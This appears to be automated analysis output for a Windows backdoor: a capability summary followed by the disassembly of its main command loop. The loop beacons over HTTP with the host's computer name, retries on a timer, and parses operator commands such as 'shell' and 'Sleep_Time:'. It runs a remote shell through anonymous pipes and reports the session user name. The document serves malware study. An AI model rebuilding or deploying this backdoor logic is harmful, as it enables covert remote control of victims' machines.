Function at 0x401406
Capabilities:
Create pipe
Create thread
Create two anonymous pipes
Get common file path
Get hostname
Get session user name
Set current directory
Terminate process

Disassembly:
mov eax, 0x402c50
call fcn.00402a90
sub esp, 0x274
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
cmp dword [ebp + 8], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x28], ebx
mov dword [0x4047a0], ebx
je 0x401962
cmp dword [ebp + 0xc], ebx
je 0x401962
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
pop ecx
cmp esi, ebx
mov dword [ebp - 0x34], esi
je 0x401962
push str.Accept:__r_nPragma:no_cache_r_nCache_Control:max_age0_r_nCache_Control:no_cache_r_n
push esi
call sub.MSVCRT.dll_strcpy
push str.Computer:
push esi
call sub.MSVCRT.dll_strcat
push esi
call sub.MSVCRT.dll_strlen
add esp, 0x14
lea ecx, [ebp - 0x14]
add eax, esi
mov dword [ebp - 0x14], 0x10
push ecx
push eax
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
push 0x36ee80
lea ecx, [ebp - 0x5c]
push dword [ebp + 0x14]
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040101c
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x5c]
call fcn.004010c0
cmp eax, ebx
jne 0x4014cb
lea ecx, [ebp - 0x5c]
call fcn.004013cc
push 0xea60
inc edi
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp edi, 5
jb 0x4014a6
cmp edi, 5
je 0x4018ba
push 0x10000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [ebp + 0xc], eax
mov dword [esp], 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp dword [ebp + 0xc], ebx
pop ecx
mov dword [ebp + 0x14], eax
je 0x4018ba
cmp eax, ebx
je 0x4018ba
push 0x200
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
mov dword [ebp + 0x10], eax
je 0x4018ba
push 0xc
lea eax, [ebp - 0x68]
pop edi
mov esi, dword [sym.imp.KERNEL32.DLL_CreatePipe]
push ebx
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x68], edi
push eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x64], ebx
call esi
test eax, eax
je 0x4018b7
lea eax, [ebp - 0x74]
push ebx
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x6c], 1
mov dword [ebp - 0x70], ebx
call esi
test eax, eax
je 0x4018b7
lea eax, [ebp - 0x17c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x17c]
push str._tasks
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x17c]
pop ecx
push eax
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
push dword [ebp - 0x1c]
push str._r_n_s_Connected__r_n
push dword [ebp + 0xc]
call dword [sym.imp.MSVCRT.dll_sprintf]
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
add esp, 0x10
mov esi, eax
xor edi, edi
cmp dword [0x4047a0], ebx
je 0x4015dd
cmp esi, ebx
jne 0x4015dd
push dword [ebp - 0x30]
mov eax, dword [ebp + 0xc]
push eax
mov byte [eax], bl
push dword [ebp - 0x2c]
call fcn.00401acb
add esp, 0xc
mov esi, eax
cmp dword [ebp - 0x28], ebx
jne 0x40160f
cmp dword [0x4047a0], ebx
jne 0x40160f
cmp esi, ebx
jne 0x40160f
push 0x4040e0
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
add esp, 0xc
mov esi, eax
mov dword [ebp - 0x28], 1
push esi
lea ecx, [ebp - 0x5c]
push dword [ebp + 0xc]
call fcn.004012c5
test eax, eax
jne 0x401630
push 0x7530
inc edi
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp edi, 5
jbe 0x40160f
cmp edi, 5
ja 0x4018b7
mov edi, 0x1000
xor esi, esi
push edi
push ebx
push dword [ebp + 0x14]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x5c]
push eax
push edi
push dword [ebp + 0x14]
call fcn.0040138f
test eax, eax
je 0x4015b9
add esi, dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
je 0x401688
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x5c]
push eax
mov eax, dword [ebp + 0x14]
add eax, esi
push 0x1000
push eax
call fcn.0040138f
test eax, eax
jne 0x401665
cmp esi, ebx
je 0x4015b9
push dword [ebp + 0x14]
push str._h1_Bad_Request__Invalid_Hostname___h1_
call dword [sym.imp.MSVCRT.dll__strcmpi]
pop ecx
test eax, eax
pop ecx
je 0x4018b7
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], 1
mov byte [eax], bl
jmp 0x4016bf
mov esi, dword [ebp - 0x1c]
push esi
call fcn.004019eb
push esi
mov dword [ebp - 0x1c], eax
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strcpy
add esp, 0xc
cmp byte [esi], bl
je 0x40170c
push 0x20
push ebx
push esi
xor edi, edi
call fcn.00401a2e
add esp, 0xc
mov esi, str.shell
push dword [0x404780]
push esi
call dword [sym.imp.MSVCRT.dll__strcmpi]
pop ecx
test eax, eax
pop ecx
je 0x40171b
add esi, 8
inc edi
cmp esi, str.Sleep_Time:
jl 0x4016eb
jmp 0x40171b
cmp dword [0x4047a0], ebx
je 0x40183d
or edi, 0xffffffff
cmp edi, 0xa
ja case.default.0x401724
jmp dword [edi*4 + 0x401973]
push dword [ebp - 0x24]
push dword [ebp - 0x20]
push dword [ebp + 0xc]
call fcn.00401ba9
add esp, 0xc
jmp 0x40183d
lea eax, [ebp - 0x5c]
push eax
push dword [ebp + 0xc]
call fcn.00401e12
jmp 0x40183b
lea eax, [ebp - 0x5c]
push eax
push dword [ebp + 0xc]
call fcn.00402132
jmp 0x40183b
mov eax, dword [ebp + 8]
push ebx
push ebx
mov dword [0x404794], eax
push dword [ebp + 0xc]
push 0x402292
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x40183d
lea eax, [ebp - 0x5c]
push eax
push dword [ebp + 0xc]
call fcn.00402645
jmp 0x40183b
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x101
push eax
lea eax, [ebp - 0x280]
push eax
push 2
call sub.Secur32.dll_GetUserNameExA
lea eax, [ebp - 0x280]
push eax
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strcat
push 0x4040b4
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strcat
add esp, 0x10
jmp 0x40183d
push str.20111117_r_n
jmp 0x401833
lea eax, [ebp - 0x5c]
push eax
push dword [ebp + 0xc]
call fcn.004027a8
jmp 0x40183b
lea eax, [ebp - 0x5c]
push eax
push dword [ebp + 0xc]
call fcn.004027e6
jmp 0x40183b
cmp dword [0x4047a0], ebx
je 0x40182e
push 0x4040b4
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strcat
push dword [ebp - 0x18]
push dword [ebp + 0x10]
call fcn.0040199f
add esp, 0x10
mov dword [ebp - 0x30], 1
jmp 0x40183d
push str.Start_shell_first._r_n
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
mov eax, dword [ebp - 0x1c]
cmp byte [eax], bl
jne 0x4016bc
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
jmp 0x4015b7
push str.Sleep_Time:
lea ecx, [ebp - 0x5c]
call fcn.004013a7
push 0x404768
lea ecx, [ebp - 0x5c]
call fcn.004013a7
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x5c]
push eax
push 0x1000
push dword [ebp + 0x14]
call fcn.0040138f
mov eax, dword [ebp - 0x10]
cmp eax, ebx
je 0x401863
mov ecx, dword [ebp + 0x14]
push ecx
mov byte [eax + ecx], bl
call dword [sym.imp.MSVCRT.dll_atoi]
cmp eax, ebx
pop ecx
mov dword [ebp - 0x14], eax
je 0x4018a5
mov dword [0x4046b4], eax
push dword [ebp - 0x18]
lea eax, [ebp - 0x5c]
push eax
push dword [ebp + 0xc]
call fcn.004025a2
add esp, 0xc
mov esi, dword [ebp - 0x34]
cmp dword [0x4047a0], ebx
je 0x4018dd
push ebx
push dword [0x404770]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 0xffffffffffffffff
push dword [0x404770]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea ecx, [ebp - 0x5c]
call fcn.004013cc
cmp dword [ebp + 0xc], ebx
je 0x4018f3
push dword [ebp + 0xc]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
cmp dword [ebp + 0x14], ebx
je 0x401901
push dword [ebp + 0x14]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
cmp dword [ebp + 0x10], ebx
pop ecx
je 0x401916
push dword [ebp + 0x10]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [0x404770]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [0x404774]
call esi
or edi, 0xffffffff
cmp dword [ebp - 0x2c], edi
je 0x401939
push dword [ebp - 0x2c]
call esi
cmp dword [ebp - 0x24], edi
je 0x401943
push dword [ebp - 0x24]
call esi
cmp dword [ebp - 0x20], edi
je 0x40194d
push dword [ebp - 0x20]
call esi
cmp dword [ebp - 0x18], edi
je 0x401957
push dword [ebp - 0x18]
call esi
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], edi
call fcn.00401078
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
leave
ret